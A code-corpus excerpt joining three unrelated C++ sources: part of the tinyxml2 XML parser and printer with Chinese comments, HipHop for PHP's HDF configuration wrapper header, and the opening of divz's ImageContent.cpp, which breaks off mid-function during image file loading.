if ( !node->Accept( visitor ) ) {
break;
}
}
}
return visitor->VisitExit( *this );
}
XMLElement* XMLDocument::NewElement( const char* name )
{
XMLElement* ele = CreateUnlinkedNode<XMLElement>( _elementPool );
ele->SetName( name );
return ele;
}
XMLComment* XMLDocument::NewComment( const char* str )
{
XMLComment* comment = CreateUnlinkedNode<XMLComment>( _commentPool );
comment->SetValue( str );
return comment;
}
XMLText* XMLDocument::NewText( const char* str )
{
XMLText* text = CreateUnlinkedNode<XMLText>( _textPool );
text->SetValue( str );
return text;
}
XMLDeclaration* XMLDocument::NewDeclaration( const char* str )
{
XMLDeclaration* dec = CreateUnlinkedNode<XMLDeclaration>( _commentPool );
dec->SetValue( str ? str : "xml version=\"1.0\" encoding=\"UTF-8\"" );
return dec;
}
XMLUnknown* XMLDocument::NewUnknown( const char* str )
{
XMLUnknown* unk = CreateUnlinkedNode<XMLUnknown>( _commentPool );
unk->SetValue( str );
return unk;
}
void XMLDocument::DeleteNode( XMLNode* node ) {
TIXMLASSERT( node );
TIXMLASSERT(node->_document == this );
if (node->_parent) {
node->_parent->DeleteChild( node );
}
else {
//如果不在树上，则直接删除
node->_memPool->SetTracked();
XMLNode::DeleteNode(node);
}
}
const char* XMLDocument::ErrorIDToName(XMLError errorID)
{
TIXMLASSERT( errorID >= 0 && errorID < XML_ERROR_COUNT );
const char* errorName = _errorNames[errorID];
TIXMLASSERT( errorName && errorName[0] );
return errorName;
}
const char* XMLDocument::ErrorName() const
{
return ErrorIDToName(_errorID);
}
const char* XMLDocument::ErrorStr() const
{
//如果为空则返回空，构造返回错误描述
return _errorStr.Empty() ? "" : _errorStr.GetStr();
}
void XMLDocument::PrintError() const
{
printf("%s\n", ErrorStr());
}
void Clear();
void XMLDocument::Clear()
{
//删除孩子节点
DeleteChildren();
//删除未链接节点
while( _unlinked.Size()) {
DeleteNode(_unlinked[0]);
}
//DEBUG调试错误
#ifdef TINYXML2_DEBUG
const bool hadError = Error();
#endif
//清空错误
ClearError();
//释放缓存
delete [] _charBuffer;
_charBuffer = 0;
_parsingDepth = 0;
//跟踪
#if 0
_textPool.Trace( "text" );
_elementPool.Trace( "element" );
_commentPool.Trace( "comment" );
_attributePool.Trace( "attribute" );
#endif
//调试未知错误
#ifdef TINYXML2_DEBUG
if ( !hadError ) {
TIXMLASSERT( _elementPool.CurrentAllocs() == _elementPool.Untracked() );
TIXMLASSERT( _attributePool.CurrentAllocs() == _attributePool.Untracked() );
TIXMLASSERT( _textPool.CurrentAllocs() == _textPool.Untracked() );
TIXMLASSERT( _commentPool.CurrentAllocs() == _commentPool.Untracked() );
}
#endif
}
void XMLDocument::DeepCopy(XMLDocument* target) const
{
TIXMLASSERT(target);
//如果两者相同
if (target == this) {
return;
}
//清空目标
target->Clear();
//复制到目标
for (const XMLNode* node = this->FirstChild(); node; node = node->NextSibling()) {
target->InsertEndChild(node->DeepClone(target));
}
}
char* XMLDocument::Identify( char* p, XMLNode** node )
{
TIXMLASSERT( node );
TIXMLASSERT( p );
//从文档开头开始解析
char* const start = p;
int const startLine = _parseCurLineNum;
p = XMLUtil::SkipWhiteSpace( p, &_parseCurLineNum );
if( !*p ) {
*node = 0;
TIXMLASSERT( p );
return p;
}
//这些字符串定义匹配模式
static const char* xmlHeader = { "<?" };
static const char* commentHeader = { "<!--" };
static const char* cdataHeader = { "<![CDATA[" };
static const char* dtdHeader = { "<!" };
static const char* elementHeader = { "<" };
static const int xmlHeaderLen = 2;
static const int commentHeaderLen = 4;
static const int cdataHeaderLen = 9;
static const int dtdHeaderLen = 2;
static const int elementHeaderLen = 1;
TIXMLASSERT( sizeof( XMLComment ) == sizeof( XMLUnknown ) );
TIXMLASSERT( sizeof( XMLComment ) == sizeof( XMLDeclaration ) );
XMLNode* returnNode = 0;
//匹配开始标记
if ( XMLUtil::StringEqual( p, xmlHeader, xmlHeaderLen ) ) {
returnNode = CreateUnlinkedNode<XMLDeclaration>( _commentPool );
returnNode->_parseLineNum = _parseCurLineNum;
p += xmlHeaderLen;
}
//匹配注释标记
else if ( XMLUtil::StringEqual( p, commentHeader, commentHeaderLen ) ) {
returnNode = CreateUnlinkedNode<XMLComment>( _commentPool );
returnNode->_parseLineNum = _parseCurLineNum;
p += commentHeaderLen;
}
//匹配cdata标记
else if ( XMLUtil::StringEqual( p, cdataHeader, cdataHeaderLen ) ) {
XMLText* text = CreateUnlinkedNode<XMLText>( _textPool );
returnNode = text;
returnNode->_parseLineNum = _parseCurLineNum;
p += cdataHeaderLen;
text->SetCData( true );
}
//匹配dtd标记
else if ( XMLUtil::StringEqual( p, dtdHeader, dtdHeaderLen ) ) {
returnNode = CreateUnlinkedNode<XMLUnknown>( _commentPool );
returnNode->_parseLineNum = _parseCurLineNum;
p += dtdHeaderLen;
}
//匹配元素标记
else if ( XMLUtil::StringEqual( p, elementHeader, elementHeaderLen ) ) {
returnNode = CreateUnlinkedNode<XMLElement>( _elementPool );
returnNode->_parseLineNum = _parseCurLineNum;
p += elementHeaderLen;
}
//其他清空按文本内容处理
else {
returnNode = CreateUnlinkedNode<XMLText>( _textPool );
//报告第一个非空白字符的行
returnNode->_parseLineNum = _parseCurLineNum;
p = start; // 备份
_parseCurLineNum = startLine;
}
TIXMLASSERT( returnNode );
TIXMLASSERT( p );
*node = returnNode;
return p;
}
void XMLDocument::MarkInUse(XMLNode* node)
{
TIXMLASSERT(node);
TIXMLASSERT(node->_parent == 0);
//如果没有父节点则删除
for (int i = 0; i < _unlinked.Size(); ++i) {
if (node == _unlinked[i]) {
_unlinked.SwapRemove(i);
break;
}
}
}
void XMLPrinter::PrintString( const char* p, bool restricted )
{
//查找要打印的实体之间的字节。
const char* q = p;
//处理实体
if ( _processEntities ) {
const bool* flag = restricted ? _restrictedEntityFlag : _entityFlag;
while ( *q ) {
TIXMLASSERT( p <= q );
if ( *q > 0 && *q < ENTITY_RANGE ) {
// 如果检测到实体，则写入实体并继续查找
if ( flag[(unsigned char)(*q)] ) {
while ( p < q ) {
const size_t delta = q - p; //增量
const int toPrint = ( INT_MAX < delta ) ? INT_MAX : (int)delta; //打印字节长度
Write( p, toPrint );
p += toPrint;
}
//打印实体模型（可以查看实验一实体原理）
bool entityPatternPrinted = false;
for( int i=0; i<NUM_ENTITIES; ++i ) {
if ( entities[i].value == *q ) {
Putc( '&' );
Write( entities[i].pattern, entities[i].length );
Putc( ';' );
entityPatternPrinted = true;
break;
}
}
//找不到实体，报错
if ( !entityPatternPrinted ) {
TIXMLASSERT( false );
}
++p;
}
}
++q;
TIXMLASSERT( p <= q );
}
//写入剩余的字符串，如果找不到实体，则写入整个字符串
if ( p < q ) {
const size_t delta = q - p;
const int toPrint = ( INT_MAX < delta ) ? INT_MAX : (int)delta;
Write( p, toPrint );
}
}
else {
Write( p );
}
}
void XMLPrinter::PrintSpace( int depth )
{
for( int i=0; i<depth; ++i ) {
Write( " " );
}
}
void XMLPrinter::Print( const char* format, ... )
{
va_list va; //参数获取列表
va_start( va, format ); //指向第一个参数
//如果打开文件，直接写入
if ( _fp ) {
vfprintf( _fp, format, va );
}
//否则写入缓存
else {
const int len = TIXML_VSCPRINTF( format, va );
//关闭并重新启动va
va_end( va );
TIXMLASSERT( len >= 0 );
va_start( va, format );
TIXMLASSERT( _buffer.Size() > 0 && _buffer[_buffer.Size() - 1] == 0 );
//增加终止符
char* p = _buffer.PushArr( len ) - 1;
//写入p
TIXML_VSNPRINTF( p, len+1, format, va );
}
va_end( va );
}
void XMLPrinter::Write( const char* data, size_t size )
{
//如果已打开文件，直接写入
if ( _fp ) {
fwrite ( data , sizeof(char), size, _fp);
}
//否则，先存入缓存
else {
//最后一位是空终止符
char* p = _buffer.PushArr( static_cast<int>(size) ) - 1;
memcpy( p, data, size );
p[size] = 0;
}
}
void XMLPrinter::Putc( char ch )
{
if ( _fp ) {
fputc ( ch, _fp);
}
else {
char* p = _buffer.PushArr( sizeof(char) ) - 1;
p[0] = ch;
p[1] = 0;
}
}
void XMLPrinter::SealElementIfJustOpened()
{
if ( !_elementJustOpened ) {
return;
}
_elementJustOpened = false;
Putc( '>' );
}
XMLPrinter::XMLPrinter( FILE* file, bool compact, int depth ) :
_elementJustOpened( false ),
_stack(),
_firstElement( true ),
_fp( file ),
_depth( depth ),
_textDepth( -1 ),
_processEntities( true ),
_compactMode( compact ),
_buffer()
{
//初始化标记
for( int i=0; i<ENTITY_RANGE; ++i ) {
_entityFlag[i] = false;
_restrictedEntityFlag[i] = false;
}
//初始化实体
for( int i=0; i<NUM_ENTITIES; ++i ) {
const char entityValue = entities[i].value;
const unsigned char flagIndex = (unsigned char)entityValue;
TIXMLASSERT( flagIndex < ENTITY_RANGE );
_entityFlag[flagIndex] = true;
}
//特定实体标记
_restrictedEntityFlag[(unsigned char)'&'] = true;
_restrictedEntityFlag[(unsigned char)'<'] = true;
_restrictedEntityFlag[(unsigned char)'>'] = true;
//初始化缓存
_buffer.Push( 0 );
}
void XMLPrinter::PushHeader( bool writeBOM, bool writeDec )
{
//写入BOM，utf-8
if ( writeBOM ) {
static const unsigned char bom[] = { TIXML_UTF_LEAD_0, TIXML_UTF_LEAD_1, TIXML_UTF_LEAD_2, 0 };
Write( reinterpret_cast< const char* >( bom ) );
}
//写入声明
if ( writeDec ) {
PushDeclaration( "xml version=\"1.0\"" );
}
}
//注释是以"<?"开始，"?>"结尾
void XMLPrinter::PushDeclaration( const char* value )
{
SealElementIfJustOpened();
//检查解析方式
if ( _textDepth < 0 && !_firstElement && !_compactMode) {
Putc( '\n' );
PrintSpace( _depth );
}
_firstElement = false;
Write( "<?" );
Write( value );
Write( "?>" );
}
void XMLPrinter::OpenElement( const char* name, bool compactMode )
{
//检查是否结尾
SealElementIfJustOpened();
_stack.Push( name );
//如果不是第一个元素，换行
if ( _textDepth < 0 && !_firstElement && !compactMode ) {
Putc( '\n' );
}
//非紧凑模式，添加空格
if ( !compactMode ) {
PrintSpace( _depth );
}
//开始编写
Write ( "<" );
Write ( name );
_elementJustOpened = true;
_firstElement = false;
++_depth;
}
void XMLPrinter::CloseElement( bool compactMode )
{
--_depth;
const char* name = _stack.Pop();
//元素已有开始标记
if ( _elementJustOpened ) {
Write( "/>" );
}
//重新写入元素
else {
if ( _textDepth < 0 && !compactMode) {
Putc( '\n' );
PrintSpace( _depth );
}
Write ( "</" );
Write ( name );
Write ( ">" );
}
//文本深度--
if ( _textDepth == _depth ) {
_textDepth = -1;
}
//解析升读为0则换行
if ( _depth == 0 && !compactMode) {
Putc( '\n' );
}
_elementJustOpened = false;
}
void XMLPrinter::PushAttribute( const char* name, const char* value )
{
TIXMLASSERT( _elementJustOpened );
//添加空格
Putc ( ' ' );
//写入名称
Write( name );
//写入” =" “
Write( "=\"" );
//写入值
PrintString( value, false );
//写入” " “
Putc ( '\"' );
}
void XMLPrinter::PushAttribute( const char* name, int v )
{
char buf[BUF_SIZE];
//转换为字符串，下同
XMLUtil::ToStr( v, buf, BUF_SIZE );
//调用重载函数，下同
PushAttribute( name, buf );
}
void XMLPrinter::PushAttribute( const char* name, unsigned v )
{
char buf[BUF_SIZE];
XMLUtil::ToStr( v, buf, BUF_SIZE );
PushAttribute( name, buf );
}
void XMLPrinter::PushAttribute(const char* name, int64_t v)
{
char buf[BUF_SIZE];
XMLUtil::ToStr(v, buf, BUF_SIZE);
PushAttribute(name, buf);
}
void XMLPrinter::PushAttribute( const char* name, bool v )
{
char buf[BUF_SIZE];
XMLUtil::ToStr( v, buf, BUF_SIZE );
PushAttribute( name, buf );
}
void XMLPrinter::PushAttribute( const char* name, double v )
{
char buf[BUF_SIZE];
XMLUtil::ToStr( v, buf, BUF_SIZE );
PushAttribute( name, buf );
}
void XMLPrinter::PushText( const char* text, bool cdata )
{
_textDepth = _depth-1;
SealElementIfJustOpened();
//cdata格式
if ( cdata ) {
Write( "<![CDATA[" );
Write( text );
Write( "]]>" );
}
//普通格式
else {
PrintString( text, true );
}
}
void XMLPrinter::PushText( int64_t value )
{
char buf[BUF_SIZE];
//转换为字符串，下同
XMLUtil::ToStr( value, buf, BUF_SIZE );
//调用重载函数，下同
PushText( buf, false );
}
void XMLPrinter::PushText( int value )
{
char buf[BUF_SIZE];
XMLUtil::ToStr( value, buf, BUF_SIZE );
PushText( buf, false );
}
void XMLPrinter::PushText( unsigned value )
{
char buf[BUF_SIZE];
XMLUtil::ToStr( value, buf, BUF_SIZE );
PushText( buf, false );
}
void XMLPrinter::PushText( bool value )
{
char buf[BUF_SIZE];
XMLUtil::ToStr( value, buf, BUF_SIZE );
PushText( buf, false );
}
void XMLPrinter::PushText( float value )
{
char buf[BUF_SIZE];
XMLUtil::ToStr( value, buf, BUF_SIZE );
PushText( buf, false );
}
void XMLPrinter::PushText( double value )
{
char buf[BUF_SIZE];
XMLUtil::ToStr( value, buf, BUF_SIZE );
PushText( buf, false );
}
void XMLPrinter::PushComment( const char* comment )
{
SealElementIfJustOpened();
//检查解析方式
if ( _textDepth < 0 && !_firstElement && !_compactMode) {
Putc( '\n' );
PrintSpace( _depth );
}
_firstElement = false;
Write( "<!--" );
Write( comment );
Write( "-->" );
}
void XMLPrinter::PushUnknown( const char* value )
{
SealElementIfJustOpened();
if ( _textDepth < 0 && !_firstElement && !_compactMode) {
Putc( '\n' );
PrintSpace( _depth );
}
_firstElement = false;
Write( "<!" );
Write( value );
Putc( '>' );
}
bool XMLPrinter::VisitEnter( const XMLDocument& doc )
{
_processEntities = doc.ProcessEntities();
//如果存在utf-8格式
if ( doc.HasBOM() ) {
PushHeader( true, false );
}
return true;
}
bool XMLPrinter::VisitEnter( const XMLElement& element, const XMLAttribute* attribute )
{
//初始化元素
const XMLElement* parentElem = 0;
//如果存在元素，获取
if ( element.Parent() ) {
parentElem = element.Parent()->ToElement();
}
//写入模式
const bool compactMode = parentElem ? CompactMode( *parentElem ) : _compactMode;
//添加元素
OpenElement( element.Name(), compactMode );
//添加元素
while ( attribute ) {
PushAttribute( attribute->Name(), attribute->Value() );
attribute = attribute->Next();
}
return true;
}
//退出并封闭元素
bool XMLPrinter::VisitExit( const XMLElement& element )
{
CloseElement( CompactMode(element) );
return true;
}
bool XMLPrinter::Visit( const XMLText& text )
{
//调用添加接口，下同
PushText( text.Value(), text.CData() );
return true;
}
bool XMLPrinter::Visit( const XMLComment& comment )
{
PushComment( comment.Value() );
return true;
}
bool XMLPrinter::Visit( const XMLDeclaration& declaration )
{
PushDeclaration( declaration.Value() );
return true;
}
bool XMLPrinter::Visit( const XMLUnknown& unknown )
{
PushUnknown( unknown.Value() );
return true;
}
}
| [
"[email protected]"
] | |
c755adce9645a2f64b5be7997046a4955c8d06a1 | d89416321d948eef709cd348db982fcdd1627fd0 | /src/util/hdf.h | 113446ac121f41be480f4ab0f82afda065d73c25 | [
"PHP-3.01",
"Zend-2.0"
] | permissive | huichen/hiphop-php | 0d0cce0feefdd4f7fe62a02aa80081e3b076cb2e | dff69a5f46dec5e51de301c726e383a171b2cda9 | refs/heads/master | 2021-01-20T23:40:41.807364 | 2010-07-22T00:29:37 | 2010-07-28T06:36:19 | 696,720 | 9 | 2 | null | null | null | null | UTF-8 | C++ | false | false | 14,747 | h | /*
+----------------------------------------------------------------------+
| HipHop for PHP |
+----------------------------------------------------------------------+
| Copyright (c) 2010 Facebook, Inc. (http://www.facebook.com) |
+----------------------------------------------------------------------+
| This source file is subject to version 3.01 of the PHP license, |
| that is bundled with this package in the file LICENSE, and is |
| available through the world-wide-web at the following url: |
| http://www.php.net/license/3_01.txt |
| If you did not receive a copy of the PHP license and are unable to |
| obtain it through the world-wide-web, please send a note to |
| [email protected] so we can mail you a copy immediately. |
+----------------------------------------------------------------------+
*/
#ifndef __CONFIG_HDF_H__
#define __CONFIG_HDF_H__
#include "base.h"
#include <string>
#include "exception.h"
#include "neo/neo_hdf.h"
namespace HPHP {
///////////////////////////////////////////////////////////////////////////////
/**
* A super-fast hierarchical data structure, wrapped around ClearSilver's HDF
* data format: http://www.clearsilver.net/docs/man_hdf.hdf
*
* HDF is a serialization format that emphasizes cleanness and simplicity when
* representing hierarchical data. It's designed to be fast parsing and
* accessing. One example is,
*
* Server {
* Name = MyTestServer
* IP.1 = 192.168.100.100
* IP.2 = 192.168.100.101
* }
*/
class HdfRaw; // reference counting HDF* raw pointer, implmented in .cpp file
class Hdf {
public:
/**
* Constructors.
*/
Hdf(); // create an empty HDF tree
Hdf(const char *filename); // open the specified file
Hdf(const std::string &filename); // open the specified file
Hdf(const Hdf *hdf, const char *name); // constructing a sub-node (internal)
Hdf(const Hdf &hdf); // make a copy by reference (internal)
Hdf(HDF *hdf); // attaching a raw pointer (internal)
~Hdf();
/**
* Close current and make a copy of the specified.
*/
void assign(const Hdf &hdf);
/**
* Copy specified without closing current.
*/
void copy(const Hdf &hdf);
/**
* Either close current file and open a new file, or append a file's content.
*/
void open(const char *filename);
void open(const std::string &filename) { open(filename.c_str());}
void append(const char *filename);
void append(const std::string &filename) { append(filename.c_str());}
void close();
/**
* Read or dump this entire tree in HDF format.
*/
void fromString(const char *input);
const char *toString() const;
void write(const char *filename) const;
void write(const std::string &filename) const { write(filename.c_str());}
/**
* Get this node's value. When node is not present or node's value is not
* parsable, return default value "defValue" instead.
*
* Boolean "false" is defined as one of these values and anything else is
* "true" (except absent node will take default value):
* 1. empty string
* 2. 0 (note: string "00" or longer are not "false").
* 3. string "false", "no" or "off" case-insensitively
*
* Numbers can also be specified in hex (0x prefix) or octal (0 prefix). For
* any values that are not entirely parsable to be a number, it will return
* default value instead.
*/
bool getBool(bool defValue = false) const;
const char *get(const char *defValue = NULL) const;
std::string getString(const std::string &defValue = "") const;
char getByte (char defValue = 0) const;
uchar getUByte (uchar defValue = 0) const;
int16 getInt16 (int16 defValue = 0) const;
uint16 getUInt16(uint16 defValue = 0) const;
int32 getInt32 (int32 defValue = 0) const;
uint32 getUInt32(uint32 defValue = 0) const;
int64 getInt64 (int64 defValue = 0) const;
uint64 getUInt64(uint64 defValue = 0) const;
double getDouble(double defValue = 0) const;
void get(std::vector<std::string> &values) const;
void get(std::set<std::string> &values) const;
void get(std::map<std::string, std::string> &values) const;
operator const char *() const { return get();}
operator std::string() const { return getString();}
operator bool () const { return getBool() ;}
operator char () const { return getByte() ;}
operator uchar () const { return getUByte() ;}
operator int16 () const { return getInt16() ;}
operator uint16 () const { return getUInt16();}
operator int32 () const { return getInt32() ;}
operator uint32 () const { return getUInt32();}
operator int64 () const { return getInt64() ;}
operator uint64 () const { return getUInt64();}
operator double () const { return getDouble();}
/**
* Set this node's value.
*/
void set(const char *value);
void set(const std::string &value) { set(value.c_str());}
void set(bool value) { set(value ? "1" : "0");}
void set(char value) { set((int64)value);}
void set(uchar value) { set((uint64)value);}
void set(int16 value) { set((int64)value);}
void set(uint16 value) { set((uint64)value);}
void set(int32 value) { set((int64)value);}
void set(uint32 value) { set((uint64)value);}
void set(int64 value);
void set(uint64 value);
void set(double value);
Hdf &operator=(const char *value) { set(value); return *this;}
Hdf &operator=(const std::string &value) { set(value); return *this;}
Hdf &operator=(bool value) { set(value); return *this;}
Hdf &operator=(char value) { set(value); return *this;}
Hdf &operator=(uchar value) { set(value); return *this;}
Hdf &operator=(int16 value) { set(value); return *this;}
Hdf &operator=(uint16 value) { set(value); return *this;}
Hdf &operator=(int32 value) { set(value); return *this;}
Hdf &operator=(uint32 value) { set(value); return *this;}
Hdf &operator=(int64 value) { set(value); return *this;}
Hdf &operator=(uint64 value) { set(value); return *this;}
Hdf &operator=(double value) { set(value); return *this;}
/**
* Get this node's fully qualified path or just one-level node name.
*/
std::string getFullPath() const;
std::string getName() const;
/**
* Get this node's parent.
*/
const Hdf parent() const;
Hdf parent();
/**
* Get a sub-node.
*/
const Hdf operator[](int name) const;
const Hdf operator[](const char *name) const;
const Hdf operator[](const std::string &name) const;
Hdf operator[](int name);
Hdf operator[](const char *name);
Hdf operator[](const std::string &name);
/**
* Note that this is different than getting a boolean value. If "name" is
* present, testing whether a subnode exists. Otherwise, testing myself is
* present or not.
*/
bool exists() const;
bool exists(int name) const;
bool exists(const char *name) const;
bool exists(const std::string &name) const;
/**
* Note that this is NOT testing existence, but reading a boolean value.
*/
bool operator!() const { return !getBool();}
/**
* Removes a sub-node from parent.
*/
void remove(int name) const;
void remove(const char *name) const;
void remove(const std::string &name) const;
/**
* Iterations. For example,
*
* for (Hdf hdf = parent.firstChild(); hdf.exists(); hdf = hdf.next()) {
* }
*
* Please use "hdf.exists()" for testing than casting it to boolean.
*/
Hdf firstChild() const;
Hdf next() const;
/**
* Comparisons
*/
int compare(const char *v) const;
int compare(const std::string &v) const;
int compare(char v) const;
int compare(uchar v) const;
int compare(int16 v) const;
int compare(uint16 v) const;
int compare(int32 v) const;
int compare(uint32 v) const;
int compare(int64 v) const;
int compare(uint64 v) const;
int compare(double v) const;
bool operator==(const char *v) const { return compare(v) == 0;}
bool operator!=(const char *v) const { return compare(v) != 0;}
bool operator>=(const char *v) const { return compare(v) >= 0;}
bool operator<=(const char *v) const { return compare(v) <= 0;}
bool operator> (const char *v) const { return compare(v) > 0;}
bool operator< (const char *v) const { return compare(v) < 0;}
bool operator==(const std::string &v) const { return compare(v) == 0;}
bool operator!=(const std::string &v) const { return compare(v) != 0;}
bool operator>=(const std::string &v) const { return compare(v) >= 0;}
bool operator<=(const std::string &v) const { return compare(v) <= 0;}
bool operator> (const std::string &v) const { return compare(v) > 0;}
bool operator< (const std::string &v) const { return compare(v) < 0;}
bool operator==(char v) const { return compare(v) == 0;}
bool operator!=(char v) const { return compare(v) != 0;}
bool operator>=(char v) const { return compare(v) >= 0;}
bool operator<=(char v) const { return compare(v) <= 0;}
bool operator> (char v) const { return compare(v) > 0;}
bool operator< (char v) const { return compare(v) < 0;}
bool operator==(uchar v) const { return compare(v) == 0;}
bool operator!=(uchar v) const { return compare(v) != 0;}
bool operator>=(uchar v) const { return compare(v) >= 0;}
bool operator<=(uchar v) const { return compare(v) <= 0;}
bool operator> (uchar v) const { return compare(v) > 0;}
bool operator< (uchar v) const { return compare(v) < 0;}
bool operator==(int16 v) const { return compare(v) == 0;}
bool operator!=(int16 v) const { return compare(v) != 0;}
bool operator>=(int16 v) const { return compare(v) >= 0;}
bool operator<=(int16 v) const { return compare(v) <= 0;}
bool operator> (int16 v) const { return compare(v) > 0;}
bool operator< (int16 v) const { return compare(v) < 0;}
bool operator==(uint16 v) const { return compare(v) == 0;}
bool operator!=(uint16 v) const { return compare(v) != 0;}
bool operator>=(uint16 v) const { return compare(v) >= 0;}
bool operator<=(uint16 v) const { return compare(v) <= 0;}
bool operator> (uint16 v) const { return compare(v) > 0;}
bool operator< (uint16 v) const { return compare(v) < 0;}
bool operator==(int32 v) const { return compare(v) == 0;}
bool operator!=(int32 v) const { return compare(v) != 0;}
bool operator>=(int32 v) const { return compare(v) >= 0;}
bool operator<=(int32 v) const { return compare(v) <= 0;}
bool operator> (int32 v) const { return compare(v) > 0;}
bool operator< (int32 v) const { return compare(v) < 0;}
bool operator==(uint32 v) const { return compare(v) == 0;}
bool operator!=(uint32 v) const { return compare(v) != 0;}
bool operator>=(uint32 v) const { return compare(v) >= 0;}
bool operator<=(uint32 v) const { return compare(v) <= 0;}
bool operator> (uint32 v) const { return compare(v) > 0;}
bool operator< (uint32 v) const { return compare(v) < 0;}
bool operator==(int64 v) const { return compare(v) == 0;}
bool operator!=(int64 v) const { return compare(v) != 0;}
bool operator>=(int64 v) const { return compare(v) >= 0;}
bool operator<=(int64 v) const { return compare(v) <= 0;}
bool operator> (int64 v) const { return compare(v) > 0;}
bool operator< (int64 v) const { return compare(v) < 0;}
bool operator==(uint64 v) const { return compare(v) == 0;}
bool operator!=(uint64 v) const { return compare(v) != 0;}
bool operator>=(uint64 v) const { return compare(v) >= 0;}
bool operator<=(uint64 v) const { return compare(v) <= 0;}
bool operator> (uint64 v) const { return compare(v) > 0;}
bool operator< (uint64 v) const { return compare(v) < 0;}
bool operator==(double v) const { return compare(v) == 0;}
bool operator!=(double v) const { return compare(v) != 0;}
bool operator>=(double v) const { return compare(v) >= 0;}
bool operator<=(double v) const { return compare(v) <= 0;}
bool operator> (double v) const { return compare(v) > 0;}
bool operator< (double v) const { return compare(v) < 0;}
/**
* Throw if there is an error from ClearSilver library.
*/
static void CheckNeoError(NEOERR *err);
private:
mutable HDF *m_hdf ; // cached HDF pointer
HdfRaw *m_rawp; // raw pointer
std::string m_path; // parent path
std::string m_name; // my name
mutable char *m_dump; // entire tree dump in HDF format
/**
* There are only two different "modes" of an Hdf object: hdf_ being null or
* non-null. First case is when we proactively constructed an Hdf object by
* either opening a file or starting from scratch by calling Hdf(). Second
* case is when we attach a raw HDF*, almost exclusively used by iterations.
*/
HDF *getRaw() const;
/**
* Parse value as a signed integer and check to make sure it's within
* [-maxValue-1, maxValue]. If not, throw an HdfDataTypeException
* with specified type string. If node is absent, return default value.
*/
int64 getInt(int64 defValue, const char *type, int64 maxValue) const;
/**
* Parse value as a unsigned integer and check against mask to make sure
* it's in the specified range. If not, throw an HdfDataTypeException
* with specified type string. If node is absent, return default value.
*/
uint64 getUInt(uint64 defValue, const char *type, uint64 mask) const;
/**
* Implementation of parent() calls.
*/
Hdf parentImpl() const;
};
/**
* Base class of all exceptions Hdf class might throw.
*/
class HdfException : public Exception {
public:
HdfException(const char *fmt, ...) {
va_list ap; va_start(ap, fmt); format(fmt, ap); va_end(ap);
}
};
/**
* Trying to get a node's value, but it's not in the specified type.
*/
class HdfDataTypeException : public HdfException {
public:
HdfDataTypeException(const Hdf *hdf, const char *type, const char *value)
: HdfException("HDF node [%s]'s value \"%s\" is not %s",
hdf->getFullPath().c_str(), value, type) {
}
};
/**
* A node's value is not expected.
*/
class HdfDataValueException : public HdfException {
public:
HdfDataValueException(const Hdf *hdf, const char *expected = "")
: HdfException("HDF node [%s]'s value \"%s\" is not expected %s",
hdf->getFullPath().c_str(), hdf->get(""), expected) {
}
};
/**
* Calling a function in wrong context.
*/
class HdfInvalidOperation : public HdfException {
public:
HdfInvalidOperation(const char *operation)
: HdfException("Invalid operation: %s", operation) {
}
};
///////////////////////////////////////////////////////////////////////////////
}
#endif // __CONFIG_HDF_H__
| [
"myang@2248de34-8caa-4a3c-bc55-5e52d9d7b73a"
] | myang@2248de34-8caa-4a3c-bc55-5e52d9d7b73a |
0f4f8f396eec4ecd849a891d034d71f5aa2324da | 91719805a27882be3acd432904dcb4ba8c4d971f | /src/items/ImageContent.cpp | 3e9767a69fc74e18ecbf4f64c0198068a32d0fc2 | [] | no_license | svn2github/divz | 1af8366135434ea82f4c1a0aa9ca5d6f7e75c11a | 3c937a3dbccee49ee5cba9aae22f8f9a5e4356da | refs/heads/master | 2020-05-29T12:51:48.333902 | 2013-04-21T23:00:02 | 2013-04-21T23:00:02 | 25,669,105 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 17,227 | cpp |
#ifndef UINT64_C
#define INT64_C(c) (c ## LL)
#define UINT64_C(c) (c ## ULL)
#endif
#include "ImageContent.h"
#include "model/ImageItem.h"
#include "AppSettings.h"
#include <QDebug>
#include <QFileInfo>
#include <QGraphicsScene>
#include <QMimeData>
#include <QPainter>
#include <QDebug>
#include <QPixmapCache>
#include <QSvgRenderer>
#include <QTime>
#include <QImageReader>
#include "ImageFilters.h"
#include "MediaBrowser.h"
#if QT_VERSION >= 0x040600
#define QT46_SHADOW_ENAB 0
#endif
#define DEBUG_MARK() qDebug() << "mark: "<<__FILE__<<":"<<__LINE__
#define DEBUG_IMAGECONTENT 0
ImageContent::ImageContent(QGraphicsScene * scene, QGraphicsItem * parent)
: AbstractContent(scene, parent, false)
, m_svgRenderer(0)
, m_shadowClipDirty(true)
, m_fileLoaded(false)
, m_fileName("")
, m_lastModelRev(0)
{
m_dontSyncToModel = true;
setToolTip(tr("Image - right click for options."));
//for(int i=0;i<m_cornerItems.size();i++)
// m_cornerItems.at(i)->setDefaultLeftOp(CornerItem::Scale);
m_dontSyncToModel = false;
}
ImageContent::~ImageContent()
{
}
QWidget * ImageContent::createPropertyWidget()
{
return 0;
}
void ImageContent::syncFromModelItem(AbstractVisualItem *model)
{
if(!modelItem())
{
setModelItem(model);
// Start out the last remembered model rev at the rev of the model
// so we dont force a redraw of the cache just because we're a fresh
// object.
if(QPixmapCache::find(cacheKey()))
m_lastModelRev = modelItem()->revision();
}
AbstractContent::syncFromModelItem(model);
if(modelItem()->revision() != m_lastModelRev)
{
//if(DEBUG_IMAGECONTENT)
//qDebug()<<"ImageContent::syncFromModelItem: modelItem():"<<modelItem()->itemName()<<": last revision:"<<m_lastModelRev<<", this revision:"<<modelItem()->revision()<<", cache dirty!";
m_lastModelRev = modelItem()->revision();
dirtyCache();
}
loadFile(AppSettings::applyResourcePathTranslations(modelItem()->fillImageFile()));
m_shadowClipDirty = true;
}
void ImageContent::loadFile(const QString &file)
{
if(sceneContextHint() == MyGraphicsScene::StaticPreview)
{
setPixmap(MediaBrowser::iconForImage(file,MEDIABROWSER_LIST_ICON_SIZE));
m_fileLoaded = true;
return;
}
// JPEGs, especially large ones (e.g. file on disk is > 2MB, etc) take a long time to load, decode, and convert to pixmap.
// (Long by UI standards anyway, e.g. > .2sec). So, we optimize away extreneous loadings by not reloading if the file & mtime
// has not changed. If we're a new item, we also check the global pixmap cache for an already-loaded copy of this image,
// again keyed by file name + mtime. For SVG files, though, we only perform the first check (dont reload if not changed),
// but we dont cache a pixmap copy of them for scaling reasons (so we can have clean scaling.)
QString fileMod = QFileInfo(file).lastModified().toString();
if(file == m_fileName && fileMod == m_fileLastModified)
{
//qDebug() << "ImageContent::loadFile: "<<file<<": no change, not reloading";
return;
}
